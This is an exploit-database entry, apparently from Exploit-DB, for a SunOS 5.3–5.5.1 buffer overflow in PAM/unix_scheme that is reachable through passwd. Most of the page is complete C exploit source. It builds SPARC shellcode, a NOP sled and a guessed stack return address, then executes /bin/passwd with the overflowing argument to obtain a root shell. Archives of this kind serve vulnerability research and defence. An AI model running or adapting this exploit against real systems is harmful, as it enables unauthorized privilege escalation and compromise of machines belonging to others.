header-logo
Suggest Exploit
vendor:
Pluggable Authentication Modules (PAM) and unix_scheme
by:
SecurityFocus
7.2
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: Pluggable Authentication Modules (PAM) and unix_scheme
Affected Version From: 5.4 and 5.3
Affected Version To: 5.5.1, 5.5.1_x86, 5.5, 5.5_x86
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: SunOS
2001

Buffer Overflow in Pluggable Authentication Modules (PAM) and unix_scheme

There is a buffer overflow condition on arguments in Pluggable Authentication Modules (PAM) and unix_scheme (5.4 and 5.3). Therefore, an unauthorized user could exploit this vulnerability via the passwd program to gain root access. Under SunOS 5.5.1, 5.5.1_x86, 5.5, 5.5_x86, yppasswd and nispasswd are hard links to the passwd program and therefore are also vulnerable. Under SunOS 5.4 and 5.3, passwd, yppasswd, and nispasswd are separate programs but they dynamically link unix_scheme and are affected.

Mitigation:

Upgrade to the latest version of Pluggable Authentication Modules (PAM) and unix_scheme.
Source

Exploit-DB raw data:

/*
source: https://www.securityfocus.com/bid/201/info

There is a buffer overflow condition on arguments in Pluggable Authentication Modules (PAM) and unix_scheme (5.4 and 5.3). Therefore, an unauthorized user could exploit this vulnerability via the passwd program to gain root access. Under SunOS 5.5.1, 5.5.1_x86, 5.5, 5.5_x86, yppasswd and nispasswd are hard links to the passwd program and therefore are also vulnerable. Under SunOS 5.4 and 5.3, passwd, yppasswd, and nispasswd are separate programs but they dynamically link unix_scheme and are affected. 
*/

/*
This is for Solaris 2.5.(1) !
With argv[1] you can modify the stack offset (+-500) if you have troubles
...
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      1100
#define EXTRA           1200
#define STACK_OFFSET    3800
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff"
;

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),dso=0;

  if(argc > 1) dso=atoi(argv[1]);

  long_p =(u_long *)  buf;
    targ_addr = get_sp() - STACK_OFFSET - dso;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;


  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  execl("/bin/passwd", "passwd", buf,(char *) 0);
  perror("execl failed");
}